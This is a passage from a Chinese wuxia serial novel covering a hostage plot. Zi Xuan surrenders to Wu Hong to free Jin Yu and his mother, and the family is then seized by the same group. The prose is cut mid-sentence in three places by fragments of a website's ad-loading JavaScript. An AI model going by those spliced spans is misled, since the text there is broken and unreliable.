杜彦成听出她在为自己打抱不平,带了点笑意认真解释:“生意上的大事,我爹不放心交给别人,我粗粗想了一下,不算难办,就是要费些功夫。”他放下调羹,“后面这些天我得经常出门,不能陪你了。” “无妨,你的事要紧。” “你等等我,等我办好了这件事,就带你出去玩好不好?” 紫瑛点头,却想起一件心事:“比起出游,我倒是有另一个地方想去,我想去看看那几个孩子。” “孩子?”杜彦成再度拿起调羹,不明白她指的是谁。 “就是我们在大石村遇到的那群山匪,你不是把他们送到方公子母亲处抚养了吗?我今日才想起来,方公子的母亲就在金陵,就想着趁我人在这儿,去看看那群孩子们。看看他们有没有长高、长胖?” 杜彦成又喝了几口汤:“这个不难,你等我忙完这一阵,我陪你一起去。我也好久没见这群崽子了,正好给他们买点吃的穿的,一道儿给送过去。” 之后几日杜彦成便早出晚归,往往一连几天都看不到人。紫瑛怕打扰他,从不主动找他,每日只在花园里转一圈打发时间。侍候的婢女们对着她只有恭敬,从不和她多说一句,搞得紫瑛很是无趣。 幸好,没几天杜彦成便回来了,而且看上去颇为愉悦,似乎父亲交代的差事办得不错。 他还带了只雀鸟来给紫瑛作伴。杜彦成自笼中取出,捧着递到紫瑛的手心里:“怕你一个人无聊,特定找人寻了一只来给你玩。” 紫瑛小心翼翼地捧起,将鸟凑到自己眼前。那鸟通体雪白,只有两扇翅膀的外缘和尾部是靛青色,而且整个身子圆滚滚的,配上一只又短又尖的喙,显得憨态可掬,很是惹人喜爱。 那鸟扇动两下翅膀,紫瑛吃了一惊,放脱了手。幸好它被系着飞不远,杜彦成立刻将鸟儿拿住,放在自己的手里给紫瑛瞧,问她:“喜欢吗?” “这鸟儿真好看。” 又过了两日,杜彦成带她出城去看那些“小山匪”们。 车架一直向东行了多久,杜彦成便在紫瑛膝上躺了多久。两人有一搭没一搭地说着话,说不了几句便至少有一个人会笑出声,使得这漫长的旅途都不那么单调了。 杜彦成提前通知了寺里的僧侣,马车便直接驶入后院,几个下人担着一箱子衣服被褥、捧着七八个食盒,跟在杜彦成和紫瑛身后一起进了孩子们居住的僧房。 孩子们还记得紫瑛,一瞧见她,几个年纪小的立刻跑上前来抱住她:“紫瑛姐姐!” 紫瑛挨个儿摸摸他们的脑门,笑道:“长高了!” “杜哥哥派人来,说你要来看我们,我们还不信呢,原来是真的!”一个大一些的孩子兴奋道。 “当然是真的!我既然大老远来了金陵,肯定要来看看你们呀。” 这之后孩子们便围着她七嘴八舌地说起来,左不过都是吃了什么好吃的、穿了什么新衣服之类的话。杜彦成在边上看着,紫瑛面对孩子们的盈盈笑意和耐心倾听都令他心里十分熨帖。 紫瑛打开食盒,将他们全部放在桌面上,让孩子们自己拿。这之后吃东西的声音便盖过了说话声,偶尔有人说话,也是问“这是什么”或者“好吃”之类的。 杜彦成带来的吃食极多,吃不完的都被收起来,紫瑛嘱咐孩子们:“这些都是不怕坏的点心,你们留着慢慢吃。” 又让人打开箱子,给孩子们发新衣服。孩子们各个欢天喜地,拿了衣服就准备换上。一些年级大些的都躲到隔间里去换,换好了就挨个儿出来给紫瑛看。 瞧着他们从原本的乞丐模样变成干干净净、天真烂漫的样子,紫瑛的欣慰和满足难以言表,对杜彦成的感谢便更甚一些。 不过,她看了一圈之后终于发现,刘从毅并不在这里,便问道:“你们的‘寨主’呢?怎么没见到他?” “不知道去哪了。” “我们也很久很久没见过他了。” 几个孩子嘟嘟囔囔道。 “到底怎么回事?你们来说。” 紫瑛认出了刘从毅的两个小兄弟,和他同为燕山派后裔的两个少年,将他们点了出来。杜彦成听见这事也立刻走近一些,就站在紫瑛身后听着。 “他原本是和我们一起来的,住了一个多月,然后……然后就不见了。”其中一个少年有些胆怯,,声音不大,还缩着脖子。 “不见了?他一个大活人,怎么能说不见就不见呢?”紫瑛有些急了。 “我们……我们也觉得奇怪,”另一个少年冲紫瑛看了一眼,随即低下头说,“他走之前什么都没说。” “他是自己走的?”杜彦成也问道。 “是的,头一天他说想回家,我们以为他只是想家了,随口说说,然后第二天起来他就不见了,说不定真的是回龙门去了。”头一个回话的少年终于能利索说一句话。 “他说想回去练好五峰刀,这里是寺院,不适合练武。”另一个少年又补上一句。 “之后你们再没见过他?” 两个少年均是摇头。 “真是抱歉,”杜彦成转过来对紫瑛道,“我把他们仍在这儿,除了让人送些吃穿过来,都没怎么好好照顾,连 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 少了个人都不知道。” 紫瑛摇头:“这怎么能怪你呢。你要忙生意,哪还顾得了这些。” 她虽然在说话,脑海里却浮现出了紫璇向刘从毅传授五峰刀后,刘从毅咬牙切齿说要为父报仇的样子。可下一刻她摇了摇头,心道:“不会的。刘从毅又不知道他父亲死时的情况,怎么会把爹爹当成仇人呢,不会的。”继而又担心他年纪小、武功弱,独自一人流落江湖必定困难重重,他走了这么久,不知道有没有遇到危险。 “你能不能派个人去找他?我担心他……”紫瑛牵住杜彦成的手。 “没问题,我在龙门有商号,我请那里的掌柜留意着。” “不仅是龙门,还有……郿县附近。” “郿县?为什么?”杜彦成不解。 “我暂时不能告诉你。” “好,我明白,”杜彦成识趣地没有多问,“我请京兆府的人过去查探。” 杜彦成答应紫瑛之后,她还是有些魂不守舍。 “今个出门太早了,又一路颠簸,你是不是不太舒服?”杜彦成凑近些,仔细观察着她的脸色。 紫瑛没有说话,他便更加担心,提议要不先早先回去,下次再来。紫瑛没有反对,便匆匆和孩子们道了别,上了马车。马车上她也一直沉浸在思绪中,杜彦成让她靠在自己怀里,不再像来时那样故意逗她。 此事之后紫瑛便动了回家的念头,但又不断告诉自己,刘从毅还是个孩子,就算他知道了前尘往事要报仇,也总得把功夫练好,不会这么快就找上天魄门。可心里总是难免惴惴不安。 杜彦成的父亲又来了两次,每次杜彦成都会被叫去好长一段时间,回来后也总是闷闷不乐,紫瑛不想这个时候撇下他一个人,也就一直没有提要回太白山。 这天,杜彦成又被其父叫去,期间还发生了争执,最后杜彦成败下阵来,被父亲训斥了一顿赶了回来。杜彦成赌气将自己关在房中,晚饭都没吃。 紫瑛从下人那里得了消息,亲手准备了清粥小菜,拎着食盒去找他。敲了两下门都无人答应,便轻轻推开门走了进去。映入眼帘的便是蜷缩成小小一个的杜彦成,正抱着自己的膝盖坐在床前,眼中的泪痕都还没干。 天早就暗了,屋中却没有点灯。紫瑛放下食盒,顺手将灯点亮,然后走到床边蹲下去:“饿了没?我亲手熬的粥,还有几样时新小菜,要不要吃一点。” 杜彦成摇头,拧在一起的眉毛还没有松开。 紫瑛便也学着他坐在床下,将他揽过来,他像是落水的蚂蚱抱住稻草一般紧紧抱住她,头埋在她的肩上。 “我在这里。”紫瑛轻声道,然后她便感到肩膀瞬间湿了一块。 杜彦成一直控制着没有哭出声,这副样子让紫瑛想到了紫璇。紫璇难过时也总是如此,找一个没人的角落,默默地流泪,你 绝对听不到她的一点儿声音。心疼杜彦成的同时,对紫璇的嫉妒心也变淡了。 “留下来陪我。” 许久,杜彦成的声音才仿佛从水底飘上来,闷闷的,还带着水汽。 紫瑛用力抱住他:“好。” 160. 人质(一) 紫璇乔装改扮成一个粗鲁汉子,又有瑾瑜和苏茂霖同行,一路上未遇到任何麻烦。一直到润州,苏茂霖才独自沿水路南下,两人继续乘马向东。 二人初见时,紫璇扮作了船家的儿子,黝黑瘦弱,怯懦寡言,再看此时面前浓眉大眼、虬髯茂密的面孔,瑾瑜只觉得神奇和有趣。不到一年的时间里发生了许多事情,哪怕大多险象环生,但能和紫璇相遇相知,这一切对于瑾瑜来说只会变得珍贵无比。 来到山路上,两人下马步行,手牵着手,任由两匹马儿跟在身后。再一次回到这里,紫璇的心境已大有不同,她侧过头看向正指着道旁一座凉亭侃侃而谈的瑾瑜,心中满是踏实。 她还记得,瑾瑜生日第二天,他急匆匆赶来阻止自己独个儿离开的样子,即便她冷语相对,瑾瑜也还是坚持要和她一起奔赴倪家庄。想到这里,紫璇不由得笑了。“一起”,世间还有比这两个字更加动听的言语吗? 还有她当时尚不知如何回答的问题,紫璇有些迫不及待地想要见到齐雅雯,让她知道自己已经有了答案。然而,这份雀跃的心情在到达齐雅雯的山中居所时瞬间被浇灭了。 “瑾瑜少爷?你……你怎么在这儿?!!”芝华瞪着一双眼睛,对瑾瑜的出现非但不欢迎,反而充满了惧意。 情形显然不对,瑾瑜立刻抬头四顾:“我来看看娘,她在哪儿?” “她……”芝华仍是呆呆望着他,一副思绪纷乱的样子。 紫璇忙上前几步,对着芝华道:“芝华姐姐,怎么了?是不是出了什么事?” 她一副男人打扮,出口却是女声,若放在平时芝华必然会惊讶,但此刻她却毫无察觉,只顺着紫璇的问题喃喃道:“小姐……她……”继而又对着瑾瑜道:“你不是生了重病,卧床不起吗?” 瑾瑜和紫璇对望一眼,迟疑着说道:“这从何说起呀?我无病无灾……你从哪里得来的消息,娘呢?她在哪里?!” 芝华这才像是魂魄归位一般,揪住瑾瑜的衣襟急切大喊:“快进城,去找大爷!”然后便欲奔至后院牵马。 瑾瑜的心被她的张皇失措高高吊起,却还是强压着,一把扯住芝华,用极其沉静的口吻喊了一声:“芝华姐!”见她终于听到自己的声音,整个人定了下来,又继续问:“到底发生了什么?你先说出来,我们一起想办法。” 芝华望着他的眼睛,着急的喘息登时慢了下来,头脑也因之更加清明,随即三言两语说明了整件事情。 头一天午饭后,方乂安的管家杨邠匆匆赶来,称瑾瑜在外受了伤,年节下请了不少大夫都不见好,如今已有不起之相。齐雅雯一听顿时腿脚便软了,硬是挣扎着起来,上了杨邠的马车,即刻赶往湖州。也正因为如此,芝华看到安然无恙的瑾瑜时才会那般惊讶与恐惧。 瑾瑜听罢,内里疑惑不已:“我爹说我病了?来的真的是杨叔吗?” “就是他!我好歹也在方家呆了好些年,不可能认错的!”芝华的语速虽快,语气却比刚才坚定了不少。 “为什么?”瑾瑜的第一反应是赶回湖州,向父亲问个究竟,下一刻却被紫璇拉住: “先去找齐总镖头。” 瑾瑜摒除杂念,一下子就明白了紫璇的意思:若假传消息之人真是杨邠,如果不是他为人收买,那便是方乂安也受到了什么威胁。如今他们还不知道是什么人、为了什么目的要劫持齐雅雯,局势如此不明朗,单凭他们二人肯定不足以拨开云雾。与其南下,不如先和齐建霄商议对策。 三人随即下山,一路驰到长风镖局门口,招呼都不打便立刻闯了进去。 齐建霄正与几位镖头在正堂议事,见芝华抢在通报之人前面疾趋而来便意识到有大事发生。 “怎么了?你怎么来了?”他向芝华道,同时眼睛瞄向了紧随其后的瑾瑜和一张陌生面孔。这时他很快反应过来,齐雅雯有危险。 原来,昨日齐雅雯下山后没有直接南行,而是让杨邠先送她进城到长风镖局,向兄长说明情况,还请他寻了一个回武的镖师并金陵城中在疗伤一道上颇有实力的大夫与她同行。这对于齐建霄并无难处,不到半个时辰,大夫寻到、保镖齐备,齐雅雯再次出发。 如今瑾瑜现身,不用芝华多说,齐建霄便知有人故意用瑾瑜病重的借口钓走了齐雅雯。不过他还算镇定,抬手稳住刚想开口的芝华:“我知道了。”继而向瑾瑜发问:“你何时到的金陵?这位是……” “我们刚从栖霞山而来,她……”瑾瑜回头看了一眼紫璇,紫璇轻轻摇头,他会意,改口道,“他是我在路上遇见的一个朋友,原本是要去见我娘的,可……”瑾瑜说着就已经带上了哭腔。 齐建霄用手搭住他的肩膀,沉声道:“雅雯出发前来过,我知道怎么回事,先别急。” 他走到冉宗杰身边,对他道:“我有些私事,这几日恐怕要先辛苦你一下。” 冉宗杰点头表示明白。齐建霄又转过来,对着自芝华闯入议事厅后便面面相觑的几个镖头道:“抱歉诸位,齐某家中突发变故,镖局的事暂交宗杰代为处理。我们刚刚议过的宗杰都有记录,便按定好的办,剩下几件小事,便由宗杰替我住持商议。” 众镖头纷纷起身抱拳,应承下来。齐建霄这才带着他们三个往后堂去。 他的镇静稳当感染了瑾瑜,刚坐下来,瑾瑜便向芝华率先发问:“你说,娘走的时候坐的是杨叔赶来的马车,那你还记得马车的样式吗?” 齐建霄微微颔首,肯定他抓住了关键。如今最要紧的是找出齐雅雯的下落,至于方乂安和杨邠为何这样做可以稍放一放,而马车便是追踪的唯一线索。 芝华立马答出:“车顶是弧形,车身上绘着缠枝花卉,红色做底,上面还点缀了金色,不是寻常式样。” 有了这个描述,齐建霄便可托关系问一问守城之人,从昨天下午起可否见过一辆这样的马车出城,又去了哪里。 当天晚些时候,从守城军士那里就已经有了回话,这两日出城的马车不多,从未见过一架富丽的拱顶马车出城。如此,齐雅雯很可能还在金陵城中,顺着这架马车,说不定就能找到看押她的地点。 经过一个晚上的盘查,长风镖局的人终于在第二日清晨在一处客栈中找到了那架显眼的马车,马车闷敞着,里面并没有人。不见齐雅雯的身影,齐建霄不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 敢打草惊蛇,只能先叫来客栈伙计盘问。 从他口中得知,马车的主人是三天前住到店里来的,前天出了一趟门,昨晚才回来。至于马车主人,很年轻,长相和瑾瑜描述的也不一致,应当并非杨邠。另有一点,那便是他会于今天早晨离开。 “昨天他架着马车回来得很晚,一来就嘱咐店小二,让今早多给他准备些干粮,路上吃的,房钱饭钱也都提前节算好了。” “他要跑。”瑾瑜道。 齐建霄点点头:“不怕,我们跟过去。” 果然,不久之后,伙计所说的那个年轻人出现在后院,架起马车出了客栈后门。瑾瑜和紫璇轻功好,跟在前面。齐建霄给了瑾瑜一个镖局里专用的示警烟花,叮嘱他找到齐雅雯的所在就放出烟花,他会立刻带着人赶过去。 马车行得极快,直到西门附近才拐进一处巷道,并最终进入了一处宅子的后门。 瑾瑜和紫璇飞身越过院墙,蹲在隐蔽之处往院中观察,马车停在院内,驾驶马车的那个年轻人径直步入了对侧的一间房舍。二人从屋顶上掠过去,轻轻揭开房上屋瓦,映入眼中的正是被捆在椅子上的齐雅雯! 瑾瑜随即就要下去救人,紫璇按住他,指着他怀中的示警烟花。他压住急躁,自怀中取出烟花,拉开盖子的瞬间,屋顶四周霎时间涌出十来个人,当先一个飞身过来,踢掉烟花,下一刻已经落在两人身前。 “等了这么久,你们终于来了。” 来人居然是吴宏,这比他们此刻被人包围还要令人心惊。难不成,魏菘泽的人抓住了瑾瑜的爹娘? 紫璇头脑飞速旋转,已经猜到整件事的起因是自己。方乂安的忧惧再度应验,魏菘泽屡次抓她未果,便不惜绕远路,牵连瑾瑜家人来设局。一旦他们擒住瑾瑜,下一步就是以他来威胁自己就范。 所幸自己现在面目全非,如能迷惑住吴宏,先逃出去寻求外援,或许一切还有转机。 “又见面了。”吴宏踏着瓦片,一步步逼近,脸上还挂着得逞的笑容。 “吴副帮主犯了事被逐出虹漕帮,还是免不了给其他人做狗。”紫璇尚在思索,瑾瑜先骂了出来。 这番讽刺之语根本刺激不到吴宏,他的笑容不减分毫,脚步未停,最后却走到了紫璇面前。 “文姑娘,你终于来了,让在下好等!” 瑾瑜眉心骤然缩紧,他认得璇儿,怎么可能!紫璇同样心惊,但还稳得住。他能毫不犹豫地点出自己的真实身份,显然已有确信,自己也就没有必要再费心思伪装下去了。 “你怎么知道是我?”紫璇扬首,一双眼睛充满了警惕。 “哈哈哈……”吴宏得意地笑了几声,“这就要问一问我家英明睿智的少主了。” “少主?”再冷静的紫璇,听到这两个字,声音也不由得发颤。 “对,少主。”吴宏故意加重了后两个字。 “你们的少主不是已经死了吗?!”瑾瑜也急道。 “哈哈哈,”吴宏放声大笑,毫不掩饰对他们的鄙夷,“我家少主武功卓绝、足智多谋,凭你们几个就想杀了他?!死的那个不过是他的替身罢了。” 161. 诱饵(二) 替身!!! 一惊接着一惊,瑾瑜已然失去了说话的力气,紫璇气极反笑,暗恨自己太过轻敌。 “如此大费周章,难道就是为了擒住我一个人?”紫璇屏住一口气,她要先确认吴宏的目的。 “那当然了!姑娘你多金贵啊,我们少主几番布置,好几个兄弟都折在上面却还是让你生生走脱。这一回我们做了万全的准备,设下鱼饵,等你一步一步走到我家少主的网里来。” “吴副帮主如此得力,这一回终于能将功折罪,你的少主应当不会再怪罪你失去了对虹漕帮的控制了吧。” 吴宏被她戳中痛处,变了脸色:“废话少说,院内外埋伏了不下百人,你们根本闯不出去,识相的,放下兵刃,跟我走吧。” 齐雅雯还在他手上,别说百来人紫璇一个人对付起来困难不小,只这一点就足以让她不敢动手。可要是坐以待毙,齐雅雯和瑾瑜一样会受牵连。 紫璇冷笑一声,手伸至脖颈处,去除了面上伪装,头发被她顺手收拢在一处,用一根细绳扎住。她的本来面目终于露了出来。只是身形臃肿,和她的面容很不相称,只见她双手一扬,身上厚重的衣料及内里裂作百断,如飞絮般四散空中。与此同时,短剑出手,紫璇朝着吴宏扑了过去。 吴宏极为警觉,她一出手便立刻退开,继而催促屋顶上的其余人齐上,务必将人擒住。其余人被阻住时线,行动得稍慢了些。紫璇抓住机会,拉住一旁想要对敌的瑾瑜,继而用力在屋顶中间踏上一脚,瓦片飞溅,击中了想要冲上来的打手,同时也露出个可容一人通过的大洞。 两人从洞中跳下,落到了齐雅雯身边。齐雅雯眼看着瑾瑜和紫璇从天而降,屋顶大洞外还有数不清的黑影,心突突跳动,下意识地就想让二人快跑。可是她口中被塞满了布条,根本说不出话,警醒的尖叫和着急的催促便化为了嗯嗯啊啊的声音。 瑾瑜立刻奔向母亲,确认她全身完好,没有受伤之后,才忙忙斩断捆缚她的绳索,拔去她口中布条。然后,母子俩四目相对,执手哭了出来。 看着这副景象,紫璇心中愧疚之意更甚,以至于根本不敢上前打扰母子二人互通心意。 屋内再度涌入吴宏和他的手下,数量比刚才在屋顶上多了三倍有余,从门口看去,屋外围拢过来的人密密麻麻得根本望不到边,他们三人不可能在这种情况下逃出去。 她下定决心,转向吴宏:“你们的目标是我,我可以跟你走,但是这些不相干的人你得放了。” “放了他们对我有何好处?”吴宏站在最前面,似笑非笑地看着紫璇,“不如多两个人质,姑娘反倒会老实一些。” “他们,一个是长风镖局齐总镖头的亲妹妹,一个是他看着长大的亲外甥。你们既然了解我的一举一动,就必然知道齐总镖头也在找人。你的马车堂而皇之地走街串巷,虽引来了我,却也难逃他的搜捕。你这样公然与他作对,会有什么下场不用我多说吧?” 吴宏不信邪:“只要我即刻将人送走,让我的人化整为零,出了金陵城,他长风镖局再厉害,也必然摸不清你们的行踪,更不会知道是谁抓了他的亲眷。” “那要是你没办法片刻间就出了这金陵城呢?又或者,出城时我闹出动静,引得长风镖局赶过来呢?” “我们这么多人,你再厉害也逃不出去。”吴宏咬牙道。 “我没想逃,”紫璇笑着说,“我只想拖延你们出城的时间,你知道,这对我并不难。” 吴宏已想到对策,也露出争锋相对的笑容:“他们俩在我手上,如果你敢有一丁点异动,我便随便找个人捅上一刀,要是不怕他们被我弄死,你便放心大胆地闹。” 这一次紫璇果然沉默了,她转头望向自己身后的瑾瑜母子,踌躇了起来。 齐雅雯早就听到了她和吴宏的对话,这时出声道:“我虽是妇道人家,也不在江湖行走,却还知道朋友义气。紫璇姑娘,你不要管我们,只管自己逃!我倒要看看,这帮人是不是真的敢得罪长风镖局!” “不可!”紫璇把身子也转了过来,担忧的眼神扫过这对母子和身后敌人。魏家几次三番都要拿住自己,摆明是铁了心,不可能因为一个总镖头的妹妹而有所改变,吴宏的威胁并不是危言耸听。而且,他们之中必须有人出去报信,与其她九死一生,出去后再被人追杀,不如让齐雅雯和瑾瑜出去,还能让吴宏志得意满,卸下防备。 她冲齐雅雯摇头,又盯住她的眼睛,希望她能明白自己的意思。也不知道她是不是看懂了,齐雅雯不再说话,连瑾瑜想出声也被她悄悄按住。 紫璇心中稍安,又转回来接着对吴宏道:“不是只有你能威胁我,我也有可以威胁你的东西。” “哦?是什么?”吴宏根本不信她能有什么筹码,故意发问,倒要看看她预备编什么瞎话。 “你的主人一定叮嘱过你,务必要留住我的性命,对吗?”紫璇特意停在此处,果见吴宏一瞬间就变了脸色,她心中暗喜,继续道,“既然我这么重要,我便大可以用自己来要挟你。如果你不放人,我便立刻死在你面前。我也很想知道,若你交不了差,还害的主人永远达不成目的,会怎么样?!” 紫璇锐利的目光中迸发出寒意,仿佛已经下定了决心。少主的确千叮咛万嘱咐,叫他务必留着紫璇的性命,最好不要让她受一丁点损伤,若她真敢这么做,让他抬一个死人回去,估计他自己也活不长了。 吴宏心中还在纠结,紫璇已手中短剑横在自己脖子上。瑾瑜惊呼一声想去阻止,却被齐雅雯死死按住。 “我数三声,如果你还不放人,我手起刀落,咱们一起死!” 瑾瑜咬着下唇,紧张地盯着紫璇的手。吴宏也是同样表情,只不过他心中眷恋的是自己的性命。 “一!” 不等紫璇喊出第二声,吴宏已经做出了选择,他同意放人,但条件是,紫璇必须交出武器,自愿被他们捆缚带走。 “可以,但是你必须先放入。我看着他们安然步出这个宅院,便立刻束手就擒,决不食言。你大可以让你所有的人马将我团团围住,如何?” 吴宏答应了,然后齐雅雯和瑾瑜在紫璇的注视下走出院门,进到了巷子里。 瑾瑜还想说什么,紫璇只对她摇了摇头。他明白她的意思,咬咬牙,拉住母亲运起轻功飞身离去。与此同时,紫璇将剑掷出,吴宏带着人围了上来,绑住了她。 *********************** 瑾瑜心神不定,带着母亲在屋脊上辗转几下后便落回到了地上。齐雅雯知道他担心紫璇,只是为了自己才不得不先走出敌人的包围。她默默叹了气,牵住儿子的手,直奔长风镖局方向。 刚走了一半,前面巷口处竟闪出一道熟悉的身影。方乂安在金陵! 齐雅雯一看见他便立刻甩开瑾瑜,大步向他走去,方乂安的神色混杂着不安和愧疚,根本不敢直视她。 “方乂安!”齐雅雯喝道:“你骗我瑾瑜生了重病,把我诳来此处,竟然是为了抓那个姑娘?” 方乂安被质问,却根本没打算回应,他只顾着一把揽过瑾瑜,低声道:“你们没受伤吧?” 瑾瑜茫然的摇头,心绪不宁之上又加了些许不敢相信:“爹,你怎么在这?杨叔呢?” 单看他的表情,方乂安不难发觉他的怀疑。但此刻绝不是说话的时候。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “别问那么多。你们没受伤就好,我们赶快走吧。” 方乂安一手携住瑾瑜,一手虚引着齐雅雯,急急忙忙就要带他们去身后的巷子,似乎想躲开什么。 齐雅雯却不好糊弄,她用力推开方乂安的手,不依不饶:“走去哪?莫不是又要把我们交给什么人?再做一回诱饵或是筹码?” 方乂安急色越发明显:“我也是逼不得已!”然后稍稍收敛心神,用哀求的语气说道,“他们以瑾瑜的性命相要挟,我不得不这么做。” 瑾瑜这才像是理清了前因后果,扯住方乂安的衣袖,像是第一次认识眼前的人一样:“爹……真的是你……” “我说了,他们用你的性命威胁我,我这么做都是为了你!” “爹!”瑾瑜双眼猩红,大吼了一声,过路之人纷纷侧目,“你怕我丢了性命,那她呢?她的命就不重要吗!那帮人数度追杀,璇儿九死一生才侥幸活下来……” “他们不会杀了她……” “你怎么知道?!” 方乂安语塞,齐雅雯狠狠瞪了他一眼,冲瑾瑜道:“我们快走,去找你舅舅!” 瑾瑜点头,可还没来得及转身,后面就围拢过来十数个人。方乂安瞧见了,立刻闪身挡在瑾瑜和齐雅雯的前面,对着当先一人道:“黄昆?你们要做什么?” “奉少主命令,把你们带走。”叫黄昆的人道,语气平和得仿佛要请他们去吃酒。 “胡说!你家主人明明答应我,只要我助他抓住文紫璇,就放过我的家人……” “哈哈哈哈……”他的话被打断,“方老爷,你不会真的如此天真吧?你是做生意的,自然清楚有用的东西总是要物尽其用,你的公子和夫人留着还有大用呢,我们少主肯定不舍得现在就放他们走啊。” “少搬出你的少主来!他在我面前不过是晚辈!我要和你们主人说话!”方乂安心中惶恐,只能尽力装出一副冷静跋扈的样子。 黄昆呵呵一笑:“好哇,主人如今和少主在一处,既然方老爷想见他,就随我一起走吧。” “不能跟他们走!”瑾瑜抢到方乂安身前,挺剑朝当先一人刺出。那人稍稍退后,从后腰上取下九节鞭,振臂一抖,险些将瑾瑜手中剑卷走。 方乂安暗暗摇头,犹豫着要不要出手,被他护在身后的齐雅雯没有武功,只能着急地看着瑾瑜和敌人对招。 瑾瑜收剑转身,变成攻他下盘,那人变招亦是不慢,剑自他脚腕处掠过,九节鞭尾巴也与此同时抵达最下方,在瑾瑜的剑上绕了几绕。再一使劲,瑾瑜的剑便脱手而出,被掷到了大路中间。一些看热闹的人被突然飞出的武器吓到,立刻四散开来。 瑾瑜没了武器,劣势更加明显,眼看着九节鞭将要击中儿子心口,方乂安立刻自后方抢出,斜刺里踢中黄昆小腿。对手吃痛,手腕力道顿时松懈,瑾瑜乘机越开,才避免了被继续上扬的鞭尾扫到。 黄昆冷笑一声,对阵的对象换成了方乂安,方乂安掌法娴熟,游走于九节鞭中间,丝毫不落下风。瑾瑜在旁乘隙上前,朝着对手的薄弱处下手。 突然,那人猛地冲向方乂安,九节鞭却自右手交到了左手,下一刻,他的右掌对上了方乂安的左掌,左手中的鞭子却卷中了期身上来的瑾瑜,然后猛地一拉,瑾瑜落入他手,他荡开方乂安的手掌,反手掐住了瑾瑜的脖子。 方乂安大惊:“莫要伤他!”齐雅雯也同样惊呼出声。 “你们乖乖跟我走,他的命就还留得住。”黄昆有了人质,语气愈发傲慢。 方乂安垂下手臂,已失去挣扎的意志。齐雅雯的后方也现出两人。于是,继紫璇之后,他们三人也落入了魏菘泽掌中。 162. 再会 瑾瑜和父母同时被缚,被扔进了早就停在深巷中的马车。马车即刻出发,向南出了城门。 齐建霄听闻此处有人斗殴,虽然不清楚是谁,还是引着人赶了过来。只不过他到的时候,无论是人还是马车都早已没了踪影。他朝几个目睹了此事的路人打听,还找到了自己送给瑾瑜做生日礼物的旧剑,确信齐雅雯和瑾瑜已被歹人带走,另外一个中年男人很可能就是方乂安。 可是,文紫璇去了哪里?齐雅雯又是如何脱险继而被擒的?方乂安到底怎么回事?诸般疑团笼罩在心上,他无暇细想,只能先一面派人向镖局送信,一面带着自己的人往南去追。 ********************** 马车毫不停歇得走了一个晚上,第二天下午才堪堪停下。瑾瑜被蒙住眼睛,一路被人驾着走了约莫一刻钟,才被人猛推一把跌在了地上,紧接着锁链声响起,门被锁上了。 眼前一片黑暗,手还被结实捆着,所幸嘴巴还能动。 “爹、娘?你们还好吗?” 回应的却只有齐雅雯关切的声音:“我没什么不好,你呢?被打的哪几处还疼吗?” “不疼了。”瑾瑜咽下担心,脑子开始慢慢转起来,“咱们得先想办法把眼睛上蒙的布摘下来。” “这个不难,”齐雅雯已经想到了办法,“你蹲下,我站着,咱们慢慢靠近,我就能背过身子帮你取。” 两人相互帮忙,不仅重获光明,还用同样的方法解除了各自的绑缚。之后才发觉如今身处的地方是一个囚室。三面石头砌成的墙壁,一面铁铸的牢门,牢门上一把大锁,困住了他们母子。 “方乂安不见了。”齐雅雯道。 “爹是怎么和这些人纠缠在一起的?”瑾瑜则问。他虽不知他口中的“主人”、“少主”是谁,却也看得出来,父亲和对方交情不浅,似乎并不只是胁迫与被胁迫的关系。 “他在外面的事以前我就不清楚,如今就更加不得而知了。”齐雅雯摇头,她心里的疑问不比瑾瑜少。 “璇儿她……”想到紫璇为了他被迫放弃抵抗,瑾瑜就万分难受,他宁愿被抓的是自己。可即便她做出了牺牲,母亲和自己还是没能逃出那些人的手掌心,也无法向长风镖局通风报信。兜兜转转,他还是这样无能! 齐雅雯瞧着他泫然欲泣的模样,当然明白他此刻的心情,可是她也不知道该如何劝慰他。如今唯一的希望便是齐建霄,他等不到信号肯定会设法查问,总能知道他们被人抓走了。只不过,能不能寻到他们现在被关押的地方的确难说。敌人不是等闲之辈,甩掉尾巴隐匿行踪对他们来说应该不是什么难事。 “如果不是我邀她同来金陵,她怎么会……”瑾瑜越想越不能原谅自己,一边说一边痛哭出声。 “敌人计划周全,只要他们通过我拿住了你,紫璇被擒只是早晚的事。”齐雅雯尽力安慰他。 “不,不是的。如果她在家中收到我被擒的消息大可以选择不来!即便要来救我,有文门主和林前辈在,她也会有所提防,那些人没那么容易拿住她的!” 瑾瑜说得有理,齐雅雯无法再说什么,便轻轻揽过瑾瑜,如同他少年时那样,让他的头搁在自己的膝盖上,一下一下轻轻拍着他的脊背:“哭吧,把你的忧心自责都哭出来。但别忘了,等哭完了我们还是得好好坚持住。紫璇肯定也会坚持下去,只要不死,就还不到绝路。” 瑾瑜只哭了一阵便止住哭声,他用袖子擦去剩下的泪水,眼睛也比刚才明亮不少:“娘说得对,只要不死,就还不到绝路!我们想想办法,看能不能从这里出去。” ******************** 紫璇被擒后也被立即转移,马车之上也有人团团围住,即使被送入囚禁她的房间,身上绑缚也从未撤去。只有在每日两餐饭食的当口,会有人帮她解开手腕的绳索,但同时她的身边也会出现六个大汉,为的就是消除任何一点她从这里逃走的可能。 就这样过了几天,没有任何人来找她问话,或是威胁她做任何事。她不免疑窦丛生,这些人费尽心机抓住我,却又把我晾在这里,究竟是何居心。可再一想,擒获她的下一步自然是用她的性命要挟天魄门,逼文远骥和许淑平交出藏宝图,这些人按兵不动,很可能已将下一步目标转向天魄门。 然而天魄门手上并没有藏宝图,敌人再多的奸计也不过是徒劳。这样说来,自己的性命也就没有可以交换的价值,总有一天魏菘泽发现真相,到那时她必死无疑。既然如此,那就趁着这段日子好好吃饭和休息,如果真的要死,那就死吧。 话虽然这样说,紫璇还是会在周围没有耳目之时,悉心修炼碧影神功。文远骥交给她的册子,她在太白山的时候就已经全部背了下来,出门也未携带。如今虽然手脚活动不变,但是让意念控制真气在经脉之中游走还是可以办到。这样做,也是为了打发无聊的时间,同时让自己的心静下来。 就这样过了约有六七天,吴宏才再度出现,吩咐人将她绑结实,眼睛蒙上黑布,嘴里塞上布条,然后将她再度装进马车。紫璇处之自若,并不在乎自己将会被带去哪里。 